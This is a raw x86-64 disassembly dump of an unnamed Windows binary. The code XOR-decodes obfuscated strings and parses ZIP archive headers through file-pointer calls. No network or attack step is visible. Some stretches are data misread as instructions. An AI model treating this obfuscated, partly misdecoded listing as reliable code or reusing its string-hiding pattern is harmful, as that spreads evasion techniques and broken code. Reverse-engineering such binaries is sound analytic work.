xor ecx, ecx
call fcn.14008bd10
test rax, rax
je case.0x140008008.0
shl ebp, 0x10
or ebx, ebp
mov ecx, ebx
shr ecx, 0x10
xor cl, 0xe2
mov edx, ebx
xor dl, 1
shr ebx, 8
xor bl, 0xe
movzx edx, dl
movzx r8d, bl
shl r8d, 8
or r8d, edx
xor esi, 0xb327ed64
movabs rdx, 0xb8a8c1aaed526c8b
xor rdi, rdx
mov qword [rax], rdi
mov dword [rax + 8], esi
mov word [rax + 0xc], r8w
mov byte [rax + 0xe], cl
mov qword [rsp + 0x6b0], 0xf
mov qword [rsp + 0x6b8], rax
mov qword [rsp + 0x6c0], 0xf
lea rax, [rsp + 0x6b0]
mov qword [rsp + 0x7e0], rax
lea rax, [0x140001e10]
mov qword [rsp + 0x7e8], rax
lea rax, [0x1401b9178]
mov qword [rsp + 0x9b0], rax
mov qword [rsp + 0x9b8], 2
mov qword [rsp + 0x9d0], 0
lea rax, [rsp + 0x7e0]
mov qword [rsp + 0x9c0], rax
mov qword [rsp + 0x9c8], 1
mov qword [rsp + 0x1d8], 0
mov qword [rsp + 0x1e0], 1
mov qword [rsp + 0x1e8], 0
lea rdx, [0x1401b97c8]
lea rsi, [rsp + 0x1d8]
lea r8, [rsp + 0x9b0]
mov rcx, rsi
call fcn.14000da30
test al, al
jne case.0x140008008.0
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x778], rax
mov rax, qword [rsp + 0x1e0]
mov qword [rsp + 0x4b0], rax
mov rax, qword [rsp + 0x1e8]
mov qword [rsp + 0x5b0], rax
mov edi, 0xa
mov ebx, 4
lea r14, [rsp + 0x9b0]
movabs rbp, 0x4ff2f876f210f83d
mov r12d, 0xf7a3108
lea r15, [rsp + 0x7e0]
nop word [rax + rax]
lea rax, [0x1401ad333]
mov qword [rsp + 0x9b0], rax
mov rcx, qword [rsp + 0x9b0]
movabs rax, 0x8d5d574d72309bf7
mov qword [rsp + 0x9b0], rax
mov rdx, qword [rsp + 0x9b0]
call fcn.140094ef0
mov rcx, qword [rax]
movabs rdx, 0x971b7f9f91a180a5
xor rcx, rdx
mov rdx, qword [rax + 8]
movabs r8, 0xb29d76b9e5f49e8b
xor rdx, r8
mov r8, qword [rax + 0x10]
movabs r9, 0x3030308d95014b1c
xor r8, r9
mov r9, qword [rax + 0x18]
xor r9, rbp
mov r10d, dword [rax + 0x20]
xor r10d, r12d
movzx r11d, byte [rax + 0x26]
movzx r13d, word [rax + 0x24]
mov eax, r13d
shr eax, 8
xor r13b, 5
xor al, 0xa1
movzx r13d, r13b
movzx eax, al
shl eax, 8
or eax, r13d
xor r11b, 0x39
mov qword [rsp + 0x1d8], rcx
mov qword [rsp + 0x1e0], rdx
mov qword [rsp + 0x1e8], r8
mov qword [rsp + 0x1f0], r9
mov dword [rsp + 0x1f8], r10d
mov word [rsp + 0x1fc], ax
mov byte [rsp + 0x1fe], r11b
mov rcx, r14
mov rdx, rsi
call fcn.1400d1380
mov rcx, r15
mov rdx, r14
call fcn.1400ba8b0
movabs rax, 0x8000000000000001
cmp qword [rsp + 0x7e0], rax
je 0x140006226
sub ebx, 1
jb 0x1400064ff
lea rax, [0x1401a97c7]
mov qword [rsp + 0x9b0], rax
mov rcx, qword [rsp + 0x9b0]
movabs rax, 0xec833f1acb81e046
mov qword [rsp + 0x9b0], rax
mov rdx, qword [rsp + 0x9b0]
call fcn.140094e00
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
mov r9, qword [rax + 0x18]
movzx r10d, byte [rax + 0x22]
movzx eax, word [rax + 0x20]
mov r11d, eax
shr r11d, 8
xor al, 0xa5
xor r11b, 0x48
movzx eax, al
movzx r11d, r11b
shl r11d, 8
or r11d, eax
movabs rax, 0x24b2c1a031bb943e
xor rcx, rax
mov qword [rsp + 0x1d8], rcx
movabs rax, 0x4909b777ec590383
xor rdx, rax
mov qword [rsp + 0x1e0], rdx
movabs rax, 0x4d595e21830a7804
xor r8, rax
mov qword [rsp + 0x1e8], r8
movabs rax, 0xd8797bdb534e08f
xor r9, rax
mov qword [rsp + 0x1f0], r9
mov word [rsp + 0x1f8], r11w
xor r10b, 0x79
mov byte [rsp + 0x1fa], r10b
mov qword [rsp + 0x4e8], rsi
mov qword [rsp + 0x4f0], 0x23
lea rax, [rsp + 0x4e8]
mov qword [rsp + 0x6d8], rax
lea rax, [0x14008a3a0]
mov qword [rsp + 0x6e0], rax
lea rax, [0x1401d6440]
mov qword [rsp + 0x9b0], rax
mov qword [rsp + 0x9b8], 2
mov qword [rsp + 0x9d0], 0
lea rax, [rsp + 0x6d8]
mov qword [rsp + 0x9c0], rax
mov qword [rsp + 0x9c8], 1
mov rcx, r14
call fcn.140081490
mov rcx, rdi
xor edx, edx
call fcn.140089c00
add rdi, rdi
mov rcx, r15
call fcn.140001d40
jmp 0x140005fb0
mov dword [rsp + 0x9b0], 0
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x9b8], xmm0
mov dword [rsp + 0x9c8], 7
mov qword [rsp + 0x9cc], 0
mov word [rsp + 0x9d4], 0
mov byte [rsp + 0x9d1], 1
mov byte [rsp + 0x9d4], 1
mov byte [rsp + 0x9d3], 1
lea r8, [rsp + 0x9b0]
mov rcx, qword [rsp + 0x4b0]
mov rbx, qword [rsp + 0x5b0]
mov rdx, rbx
call fcn.140092f90
mov rdi, rax
mov rsi, rdx
lea rax, [0x1401b2dec]
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rcx, qword [rsp + 0x9b0]
movabs rax, 0x4c5632d20e20cea
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rdx, qword [rsp + 0x9b0]
call fcn.140095200
mov rcx, qword [rax]
mov rcx, qword [rax + 8]
mov rcx, qword [rax + 0x10]
mov rcx, qword [rax + 0x18]
mov ecx, dword [rax + 0x20]
movzx eax, byte [rax + 0x24]
test rdi, rdi
jne case.0x140008008.0
mov qword [rsp + 0x6a0], rsi
lea rcx, [rsp + 0x7e8]
call fcn.1400b28c0
mov rsi, rax
mov rdi, rdx
lea rcx, [rsp + 0x9b0]
lea r9, [rsp + 0x6a0]
mov rdx, rax
mov r8, rdi
call fcn.14009b0b0
lea rax, [0x1401ae54d]
mov qword [rsp + 0x1d8], rax
lea rax, [rsp + 0x1d8]
mov rcx, qword [rsp + 0x1d8]
movabs rax, 0xf9a1ae6a9e9fa156
mov qword [rsp + 0x1d8], rax
lea rax, [rsp + 0x1d8]
mov rdx, qword [rsp + 0x1d8]
call fcn.140095590
mov rcx, qword [rax]
mov rcx, qword [rax + 8]
mov rcx, qword [rax + 0x10]
mov ecx, dword [rax + 0x18]
movzx ecx, byte [rax + 0x1e]
movzx eax, word [rax + 0x1c]
cmp qword [rsp + 0x9b0], 0
lea rbp, [rsp + 0x4e8]
jne case.0x140008008.0
mov rcx, rsi
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x1400063d3
cmp qword [rdi + 0x10], 0x11
jb 0x1400063c2
mov rsi, qword [rsi - 8]
mov rcx, qword [0x1402540f8]
xor edx, edx
mov r8, rsi
call sub.KERNEL32.dll_HeapFree
mov dword [rsp + 0x9b0], 0
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x9b8], xmm0
mov dword [rsp + 0x9c8], 7
mov qword [rsp + 0x9cc], 0
mov word [rsp + 0x9d4], 0
mov byte [rsp + 0x9d0], 1
lea r8, [rsp + 0x9b0]
mov rcx, qword [rsp + 0x4b0]
mov rdx, rbx
call fcn.140092f90
mov rdi, rax
mov rsi, rdx
lea rax, [0x1401b4d97]
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rcx, qword [rsp + 0x9b0]
movabs rax, 0x5639c466e4d98767
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rdx, qword [rsp + 0x9b0]
call fcn.140094da0
mov rcx, qword [rax]
mov rcx, qword [rax + 8]
mov ecx, dword [rax + 0x10]
movzx ecx, byte [rax + 0x16]
movzx eax, word [rax + 0x14]
test rdi, rdi
jne case.0x140008008.0
mov qword [rsp + 0xb0], rsi
mov qword [rsp + 0x1d8], 0
lea r8, [rsp + 0x1d8]
mov rcx, rsi
xor edx, edx
mov r9d, 2
call sub.KERNEL32.dll_SetFilePointerEx
test eax, eax
je 0x14000667b
mov r12, qword [rsp + 0x1d8]
xor ebx, ebx
mov rax, r12
sub rax, 0x10015
cmovae rbx, rax
mov esi, 1
cmp r12, 0x16
jae 0x140006692
lea r14, [0x1401d67d3]
mov r15d, 0x12
jmp 0x1400067d2
lea rax, [0x1401b3075]
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rcx, qword [rsp + 0x9b0]
movabs rax, 0xb7bb9d0020705f59
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rdx, qword [rsp + 0x9b0]
call fcn.140094ce0
movabs rcx, 0xb731cba7e3952085
xor rcx, qword [rax]
movabs rdx, 0x74e262f346e8fc25
xor rdx, qword [rax + 8]
movabs r8, 0x1d9e04622f3fcb0d
xor r8, qword [rax + 0x10]
movabs r9, 0xa56db4587f57778b
xor r9, qword [rax + 0x18]
movabs r10, 0x8b21b43f6f3108cb
xor r10, qword [rax + 0x20]
movzx r11d, byte [rax + 0x2a]
movzx eax, word [rax + 0x28]
mov edi, eax
shr edi, 8
xor al, 0x6c
xor dil, 0x57
movzx eax, al
movzx edi, dil
shl edi, 8
or edi, eax
xor r11b, 0x67
mov qword [rsp + 0x1d8], rcx
mov qword [rsp + 0x1e0], rdx
mov qword [rsp + 0x1e8], r8
mov qword [rsp + 0x1f0], r9
mov qword [rsp + 0x1f8], r10
mov word [rsp + 0x200], di
mov byte [rsp + 0x202], r11b
mov qword [rsp + 0x4e8], rsi
mov qword [rsp + 0x4f0], 0x2b
lea rax, [rsp + 0x4e8]
mov qword [rsp + 0x6d8], rax
lea rax, [0x14008a3a0]
mov qword [rsp + 0x6e0], rax
lea rax, [0x1401d6440]
mov qword [rsp + 0x9b0], rax
mov qword [rsp + 0x9b8], 2
mov qword [rsp + 0x9d0], 0
lea rax, [rsp + 0x6d8]
mov qword [rsp + 0x9c0], rax
mov qword [rsp + 0x9c8], 1
lea rcx, [rsp + 0x9b0]
call fcn.140081490
lea rcx, [rsp + 0x7e0]
call fcn.140001d40
jmp 0x140009173
call sub.KERNEL32.dll_GetLastError
mov r14d, eax
shl r14, 0x20
or r14, 2
xor esi, esi
jmp 0x1400067d2
lea rax, [r12 - 0x16]
lea r14, [0x1401d67af]
mov r15d, 0x24
cmp rax, rbx
jb 0x1400067d2
mov rdi, qword [rsp + 0xb0]
add r12, 0xffffffffffffffe9
lea r13, [rsp + 0x1d8]
lea rbp, [rsp + 0xb0]
nop dword [rax]
lea rsi, [r12 + 1]
mov qword [rsp + 0x1d8], 0
mov rcx, rdi
mov rdx, rsi
mov r8, r13
xor r9d, r9d
call sub.KERNEL32.dll_SetFilePointerEx
test eax, eax
je 0x1400067b8
mov dword [rsp + 0x1d8], 0
mov r8d, 4
mov rcx, rbp
mov rdx, r13
call fcn.14009a840
test rax, rax
jne 0x14000674d
cmp dword [rsp + 0x1d8], 0x6054b50
je 0x140006754
cmp r12, 0xffffffffffffffff
je 0x14000673b
lea rax, [r12 - 1]
cmp r12, rbx
mov r12, rax
jae 0x1400066d0
lea rbp, [rsp + 0x4e8]
mov esi, 1
jmp 0x1400067d2
xor esi, esi
mov r14, rax
jmp 0x1400067ca
mov qword [rsp + 0x1d8], 0
lea r8, [rsp + 0x1d8]
mov edx, 0x10
mov rcx, rdi
mov r9d, 1
call sub.KERNEL32.dll_SetFilePointerEx
test eax, eax
je 0x1400067b8
lea rcx, [rsp + 0x1d8]
mov rdx, rdi
xor r8d, r8d
mov r9, rsi
call fcn.140088170
cmp qword [rsp + 0x1d8], 0
lea rbp, [rsp + 0x4e8]
je 0x14000ad49
mov r14, qword [rsp + 0x1e0]
xor esi, esi
jmp 0x1400067d2
call sub.KERNEL32.dll_GetLastError
mov r14d, eax
shl r14, 0x20
or r14, 2
xor esi, esi
lea rbp, [rsp + 0x4e8]
mov rcx, qword [rsp + 0xb0]
call sub.KERNEL32.dll_CloseHandle
lea rax, [0x1401b56ad]
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rcx, qword [rsp + 0x9b0]
movabs rax, 0x310d6713a0fd7e5b
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rdx, qword [rsp + 0x9b0]
call fcn.140095050
mov rcx, qword [rax]
mov rcx, qword [rax + 8]
mov rcx, qword [rax + 0x10]
movzx eax, word [rax + 0x18]
cmp rsi, 4
jne case.0x140008008.0
mov qword [rsp + 0xb0], r14
mov qword [rsp + 0xb8], r15
mov rax, qword [r14 + 0x20]
mov qword [rsp + 0x7b8], rax
test rax, rax
je 0x14000914b
lea rax, [rsp + 0xb8]
mov qword [rsp + 0x5b8], rax
lea r13, [rsp + 0x318]
lea r12, [rsp + 0x1f0]
lea r14, [rsp + 0x9b0]
pxor xmm6, xmm6
lea r15, [0x1401b10f8]
sbb al, byte [rax]
sbb al, byte [rax]
mov qword [rsp + 0x4c8], rax
mov qword [rsp + 0x4c0], rax
xor ecx, ecx
jmp 0x1400068e9
mov rcx, qword [0x1402540f8]
or eax, 0x24d847
xor edx, edx
mov r8, rdi
call sub.KERNEL32.dll_HeapFree
mov rcx, qword [rsp + 0x300]
call fcn.14017cdb0
nop dword [rax + rax]
mov rcx, qword [rsp + 0x7d0]
inc rcx
cmp rcx, qword [rsp + 0x7b8]
je 0x14000913b
mov rax, qword [rsp + 0xb0]
mov esi, 3
cmp qword [rax + 0x20], rcx
mov qword [rsp + 0x7d0], rcx
jbe 0x140006940
mov rdi, qword [rax + 0x18]
imul rbx, rcx, 0xb0
mov esi, 2
mov ecx, 0x21
cmp byte [rdi + rbx + 0xa6], 0
je 0x140006945
lea rax, [0x1401d6b76]
mov qword [rsp + 0x108], rax
jmp 0x140006a60
jmp 0x140006a60
mov rdx, qword [rdi + rbx + 0x80]
mov qword [rsp + 0x4e8], 0
mov rcx, qword [rsp + 0xb8]
mov r8, rbp
xor r9d, r9d
call sub.KERNEL32.dll_SetFilePointerEx
test eax, eax
je 0x140006a32
mov dword [rsp + 0x4e8], 0
mov r8d, 4
mov rcx, qword [rsp + 0x5b8]
mov rdx, rbp
call fcn.14009a840
test rax, rax
je 0x1400069af
mov rcx, qword [rsp + 0x130]
mov qword [rsp + 0x108], rax
jmp 0x140006a4f
cmp dword [rsp + 0x4e8], 0x4034b50
jne 0x140008f97
mov qword [rsp + 0x4e8], 0
mov rcx, qword [rsp + 0xb8]
mov edx, 0x16
mov r8, rbp
mov r9d, 1
call sub.KERNEL32.dll_SetFilePointerEx
test eax, eax
je 0x140006a32
mov word [rsp + 0x4e8], 0
mov r8d, 2
mov r15, qword [rsp + 0x5b8]
mov rcx, r15
mov rdx, rbp
call fcn.14009a840
test rax, rax
je 0x140008fc2
mov rcx, qword [rsp + 0x130]
mov qword [rsp + 0x108], rax
xor esi, esi
lea r15, [0x1401b10f8]
jmp 0x140006a60
call sub.KERNEL32.dll_GetLastError
shl rax, 0x20
or rax, 2
mov qword [rsp + 0x108], rax
mov rcx, qword [rsp + 0x130]
xor esi, esi
nop word cs:[rax + rax]
mov edi, 6
mov bl, 1
mov qword [rsp + 0x7c8], rcx
lea rax, [0x1401aa638]
mov qword [rsp + 0x9b0], rax
mov rcx, qword [rsp + 0x9b0]
movabs rax, 0xc86d2572c4894885
mov qword [rsp + 0x9b0], rax
mov rdx, qword [rsp + 0x9b0]
call fcn.140095530
mov rcx, qword [rax]
mov rcx, qword [rax + 8]
mov rcx, qword [rax + 0x10]
mov ecx, dword [rax + 0x18]
movzx eax, byte [rax + 0x1c]
test bl, bl
jne case.0x140008008.0
mov qword [rsp + 0x1d8], rdi
mov qword [rsp + 0x7a0], rsi
mov qword [rsp + 0x1e0], rsi
mov rax, qword [rsp + 0x108]
mov qword [rsp + 0x1e8], rax
mov rax, qword [rsp + 0x7c8]
mov qword [rsp + 0x1f0], rax
mov r8d, 0x120
lea rcx, [rsp + 0x1f8]
mov rdx, r14
call sub.msvcrt.dll_memcpy
movabs rax, 0x8000000000000001
lea rbx, [rax - 1]
mov qword [rsp + 0x318], rbx
mov rdi, qword [rsp + 0x7a8]
mov qword [rsp + 0x320], rdi
mov r8d, 0xa0
lea rcx, [rsp + 0x328]
lea rsi, [rsp + 0x6d8]
mov rdx, rsi
call sub.msvcrt.dll_memcpy
mov byte [rsp + 0x3c8], 0
mov eax, dword [rsp + 0x168]
mov ecx, dword [rsp + 0x16b]
mov dword [r13 + 0xb1], eax
mov dword [r13 + 0xb4], ecx
mov rax, qword [rsp + 0x5b8]
mov qword [rsp + 0x3d0], rax
lea rax, [0x1401d66d8]
mov qword [rsp + 0x3d8], rax
mov rax, qword [rsp + 0x7b0]
mov qword [rsp + 0x3e0], rax
mov r8d, 0xc8
lea rcx, [rsp + 0x3e8]
mov rdx, rbp
call sub.msvcrt.dll_memcpy
movdqu xmm0, xmmword [rdi + 8]
movdqu xmmword [rsp + 0x168], xmm0
lea rax, [rsp + 0x6b0]
mov qword [rsp + 0x4e8], rax
lea rax, [0x140001e10]
mov qword [rsp + 0x4f0], rax
lea rax, [rsp + 0x168]
mov qword [rsp + 0x4f8], rax
lea rax, [0x14008a3a0]
mov qword [rsp + 0x500], rax
lea rax, [0x1401b91a0]
mov qword [rsp + 0x9b0], rax
mov qword [rsp + 0x9b8], 2
mov qword [rsp + 0x9d0], 0
mov qword [rsp + 0x9c0], rbp
mov qword [rsp + 0x9c8], 2
mov qword [rsp + 0x6d8], 0
mov qword [rsp + 0x6e0], 1
mov qword [rsp + 0x6e8], 0
mov rcx, rsi
lea rdx, [0x1401b97c8]
mov r8, r14
call fcn.14000da30
test al, al
jne case.0x140008008.0
mov rax, r13
cmp qword [rsp + 0x318], rbx
mov rsi, rbx
jne 0x140006c97
mov rax, qword [rsp + 0x320]
mov rcx, qword [rsp + 0x6d8]
mov qword [rsp + 0x7d8], rcx
mov r11, qword [rsp + 0x6e0]
mov r8, qword [rsp + 0x6e8]
mov r9, qword [rax + 0x10]
test r9, r9
mov qword [rsp + 0x5c0], rsi
mov qword [rsp + 0x7c0], r11
je 0x140006e80
mov r10, qword [rax + 8]
movzx eax, byte [r10 + r9 - 1]
test al, al
js 0x140006cf0
cmp eax, 0x2f
jne 0x140006d39
jmp 0x140006d42
movzx ecx, byte [r10 + r9 - 2]
cmp cl, 0xc0
jge 0x140006d1c
movzx edx, byte [r10 + r9 - 3]
cmp dl, 0xc0
jge 0x140006d21
movzx r9d, byte [r10 + r9 - 4]
and r9d, 7
shl r9d, 6
and edx, 0x3f
or edx, r9d
jmp 0x140006d24
and ecx, 0x1f
jmp 0x140006d2c
and edx, 0xf
shl edx, 6
and ecx, 0x3f
or ecx, edx
shl ecx, 6
and eax, 0x3f
or eax, ecx
cmp eax, 0x2f
je 0x140006d42
cmp eax, 0x5c
jne 0x140006e80
mov byte [rsp + 0x9b0], 1
mov rcx, r14
mov rdx, r11
call fcn.1400881d0
mov rdi, rax
lea rax, [0x1401b8183]
mov qword [rsp + 0x9b0], rax
mov rcx, qword [rsp + 0x9b0]
movabs rax, 0x2009ab370b982a6e
mov qword [rsp + 0x9b0], rax
mov rdx, qword [rsp + 0x9b0]
call fcn.140095370
mov rcx, qword [rax]
mov rcx, qword [rax + 8]
mov rcx, qword [rax + 0x10]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rax + 0x20]
mov ecx, dword [rax + 0x28]
movzx eax, byte [rax + 0x2c]
test rdi, rdi
jne case.0x140008008.0
cmp qword [rsp + 0x7d8], 0
je 0x140006dd2
mov rcx, qword [0x1402540f8]
xor edx, edx
mov r8, qword [rsp + 0x7c0]
call sub.KERNEL32.dll_HeapFree
cmp qword [rsp + 0x318], rsi
je 0x140008d80
mov r8d, 0x10000
mov rcx, r14
xor edx, edx
call sub.msvcrt.dll_memset
mov rax, qword [rsp + 0x1d8]
test rax, rax
je 0x140008914
movzx r15d, byte [rsp + 0x1f0]
mov rdi, qword [rsp + 0x210]
add byte [rbx + rcx*4 - 0x4c], cl
and al, 0x18
add al, byte [rax]
add byte [rax - 0x39], cl
test byte [rax + rbx*8], ah
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 1], cl
invalid
add byte [rbx + rcx*4 - 0x4c], cl
and al, 0x18
add al, byte [rax]
add byte [rax - 0x39], cl
test byte [rax + rbx*8], ah
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 1], cl
enter 0xffffffffffff8d48, 0xd
invalid
invalid
invalid
invalid
lea rcx, [0x1401b1120]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
movdqu xmm7, xmmword [rsp + 0x1e0]
movzx eax, byte [rsp + 0x1f7]
shl eax, 0x10
movzx ecx, word [rsp + 0x1f5]
or ecx, eax
mov esi, dword [rsp + 0x1f1]
shl rcx, 0x28
shl rsi, 8
or rsi, rcx
or rsi, r15
jmp 0x140008c7a
mov dword [rsp + 0x9b0], 0
lea rax, [rsp + 0x9b8]
movdqu xmmword [rax], xmm6
mov dword [rsp + 0x9c8], 7
mov word [rax + 0x1c], 0
mov qword [rax + 0x14], 0
mov byte [rsp + 0x9d1], 1
mov word [rsp + 0x9d3], 0x101
mov rcx, r11
mov rdx, r8
mov r8, r14
call fcn.140092f90
mov rbx, rax
mov rdi, rdx
lea rax, [0x1401ac299]
mov qword [rsp + 0x9b0], rax
mov rcx, qword [rsp + 0x9b0]
movabs rax, 0xaf857c850fb7c091
mov qword [rsp + 0x9b0], rax
mov rdx, qword [rsp + 0x9b0]
call fcn.140094aa0
mov rcx, qword [rax]
mov rcx, qword [rax + 8]
mov rcx, qword [rax + 0x10]
mov ecx, dword [rax + 0x18]
movzx ecx, byte [rax + 0x1e]
movzx eax, word [rax + 0x1c]
test rbx, rbx
jne case.0x140008008.0
push rcx
add byte [rax], al
push rcx
add byte [rax], al
mov qword [rsp + 0x6d8], rdi
xor ecx, ecx
jmp 0x140006f4f
mov ecx, 0x2000
cmp byte [rdi + 0x10], 0x23
jne case.0x140008414.2
mov r8d, 0x2000
sub r8, rcx
add rcx, rsp
add rcx, 0x9b0
xor edx, edx
call sub.msvcrt.dll_memset
mov rsi, qword [rsp + 0x1d8]
test rsi, rsi
je 0x140006f80
movsxd rax, dword [r15 + rsi*4]
add rax, r15
jmp rax
movzx r8d, byte [rsp + 0x3c8]
mov byte [rsp + 0x3c8], 3
cmp r8b, 3
je case.0x140008008.0
movzx r9d, byte [rsp + 0x3c9]
mov rax, qword [rsp + 0x320]
lea rcx, [rax + 0x98]
mov rdx, qword [rsp + 0x5c0]
cmp qword [rsp + 0x318], rdx
lea rdx, [rsp + 0x3b0]
cmovne rcx, rdx
cmovne rax, r13
movzx ecx, word [rcx]
mov byte [rsp + 0xa0], r8b
cmp r8b, 2
mov ebx, 0
mov dword [rsp + 0x7c], r9d
cmove ebx, r9d
cmp rcx, 4
ja case.0x140008008.0
mov edx, dword [rsp + 0x3ca]
movzx ebp, word [rsp + 0x3ce]
shl rbp, 0x20
or rbp, rdx
mov rdx, qword [rsp + 0x3d0]
mov qword [rsp + 0xc8], rdx
mov r8, qword [rsp + 0x3d8]
mov rdx, qword [rsp + 0x3e0]
mov qword [rsp + 0x120], rdx
movzx edx, byte [rsp + 0x3ef]
shl edx, 0x10
movzx r9d, word [rsp + 0x3ed]
or r9d, edx
movzx r14d, byte [rsp + 0x3f0]
movzx esi, byte [rsp + 0x3f1]
mov edx, dword [rsp + 0x3f2]
movzx edi, word [rsp + 0x3f6]
shl rdi, 0x20
or rdi, rdx
movzx r11d, byte [rsp + 0x414]
movzx edx, byte [rsp + 0x417]
shl edx, 0x10
movzx r15d, word [rsp + 0x415]
or r15d, edx
movzx edx, byte [rsp + 0x43c]
mov byte [rsp + 0x160], dl
movzx edx, byte [rsp + 0x43f]
shl edx, 0x10
movzx r12d, word [rsp + 0x43d]
or r12d, edx
movzx edx, byte [rsp + 0x467]
shl edx, 0x10
movzx r13d, word [rsp + 0x465]
or r13d, edx
movzx edx, byte [rsp + 0x48f]
shl edx, 0x10
movzx r10d, word [rsp + 0x48d]
or r10d, edx
movzx edx, byte [rsp + 0x464]
mov byte [rsp + 0x158], dl
movzx edx, byte [rsp + 0x48c]
mov byte [rsp + 0xd8], dl
mov eax, dword [rax + 0x9c]
mov dword [rsp + 0xf0], eax
lea rdx, [0x1401b10d0]
movsxd rax, dword [rdx + rcx*4]
add rax, rdx
mov ecx, dword [rsp + 0x3e8]
mov qword [rsp + 0xe0], rcx
movzx ecx, byte [rsp + 0x3ec]
mov qword [rsp + 0xc0], rcx
mov byte [rsp + 0x66], r14b
movzx r14d, r14b
mov byte [rsp + 0x67], sil
movzx esi, sil
mov rdx, qword [rsp + 0x3f8]
mov rcx, qword [rsp + 0x400]
mov qword [rsp + 0x98], rcx
mov rcx, qword [rsp + 0x408]
mov qword [rsp + 0x1d0], rcx
mov ecx, dword [rsp + 0x410]
mov dword [rsp + 0xf4], ecx
mov rcx, qword [rsp + 0x418]
mov qword [rsp + 0x1c8], rcx
mov rcx, qword [rsp + 0x420]
mov qword [rsp + 0x100], rcx
mov rcx, qword [rsp + 0x428]
mov qword [rsp + 0x128], rcx
mov rcx, qword [rsp + 0x430]
mov qword [rsp + 0x118], rcx
mov ecx, dword [rsp + 0x438]
mov dword [rsp + 0xf8], ecx
mov rcx, qword [rsp + 0x440]
mov qword [rsp + 0x180], rcx
mov rcx, qword [rsp + 0x448]
mov qword [rsp + 0x68], rcx
mov rcx, qword [rsp + 0x450]
mov qword [rsp + 0x88], rcx
mov rcx, qword [rsp + 0x458]
mov qword [rsp + 0x148], rcx
mov ecx, dword [rsp + 0x460]
mov dword [rsp + 0x140], ecx
mov rcx, qword [rsp + 0x468]
mov qword [rsp + 0x188], rcx
mov rcx, qword [rsp + 0x470]
mov qword [rsp + 0x58], rcx
mov rcx, qword [rsp + 0x478]
mov qword [rsp + 0x70], rcx
mov rcx, qword [rsp + 0x480]
mov qword [rsp + 0x150], rcx
mov ecx, dword [rsp + 0x488]
mov dword [rsp + 0xac], ecx
mov rcx, qword [rsp + 0x490]
mov qword [rsp + 0xe8], rcx
mov rcx, qword [rsp + 0x498]
mov qword [rsp + 0x1b8], rcx
mov rcx, qword [rsp + 0x4a0]
mov qword [rsp + 0x1c0], rcx
mov rcx, qword [rsp + 0x4a8]
mov qword [rsp + 0x190], rcx
jmp rax
mov rax, qword [0x140254138]
test rax, rax
je 0x1400087a8
xor ecx, ecx
mov qword [rsp + 0x138], rcx
mov esi, 2
test al, 2
je 0x1400072ee
mov rax, qword [0x140254138]
test rax, rax
je 0x140008852
shr eax, 0xa
and eax, 1
mov qword [rsp + 0x138], rax
mov eax, dword [rsp + 0xf0]
mov qword [rsp + 0x90], rax
mov eax, ebx
mov qword [rsp + 0x1b0], rax
mov eax, dword [rsp + 0x7c]
mov dword [rsp + 0x7c], eax
mov qword [rsp + 0x1a8], rbp
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0x1a0], rax
mov qword [rsp + 0xc8], rdx
mov rdx, qword [rsp + 0x98]
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0xd0], rax
mov rax, qword [rsp + 0x128]
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x100], rax
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x128], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x1b8]
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x1c0]
mov qword [rsp + 0x70], rax
movzx eax, byte [rsp + 0xa0]
mov qword [rsp + 0x110], rax
mov rax, qword [rsp + 0x1d8]
cmp rax, 4
ja case.default.0x1400073d5
lea rcx, [0x1401b10e4]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
cmp byte [rsp + 0x1f0], 2
jb case.0x1400073d5.0
mov rbx, qword [rsp + 0x210]
mov r14, qword [rsp + 0x218]
mov rcx, rbx
mov rbp, rdx
mov qword [rsp + 0x80], r9
mov dword [rsp + 0x54], r10d
mov byte [rsp + 0x53], r11b
mov qword [rsp + 0xa0], r8
call qword [r14]
mov r8, qword [rsp + 0xa0]
movzx r11d, byte [rsp + 0x53]
mov r10d, dword [rsp + 0x54]
mov r9, qword [rsp + 0x80]
mov rdx, rbp
cmp qword [r14 + 8], 0
je case.0x1400073d5.0
cmp qword [r14 + 0x10], 0x11
jb 0x140007b60
mov rbx, qword [rbx - 8]
jmp 0x140007b60
mov qword [rsp + 0xd0], rdx
mov byte [rsp + 0x53], r11b
mov dword [rsp + 0x54], r10d
mov qword [rsp + 0x80], r9
mov qword [rsp + 0x90], r8
movzx eax, byte [0x140254141]
mov edx, 0x2000
xor ecx, ecx
call fcn.14008bd10
mov rcx, rax
mov qword [rsp + 0x110], rax
test rax, rax
je case.0x140008008.0
movzx eax, byte [0x140254141]
mov edx, 0x50
xor ecx, ecx
call fcn.14008bd10
test rax, rax
je case.0x140008008.0
movdqu xmmword [rax + 0x40], xmm6
movdqu xmmword [rax + 0x30], xmm6
movdqu xmmword [rax + 0x20], xmm6
movdqu xmmword [rax + 0x10], xmm6
movdqu xmmword [rax], xmm6
mov rcx, rax
mov qword [rsp + 0x4b8], rax
xor edx, edx
xor r8d, r8d
call fcn.140113ac0
test eax, eax
jne case.0x140008008.0
mov rax, qword [0x140254138]
test rax, rax
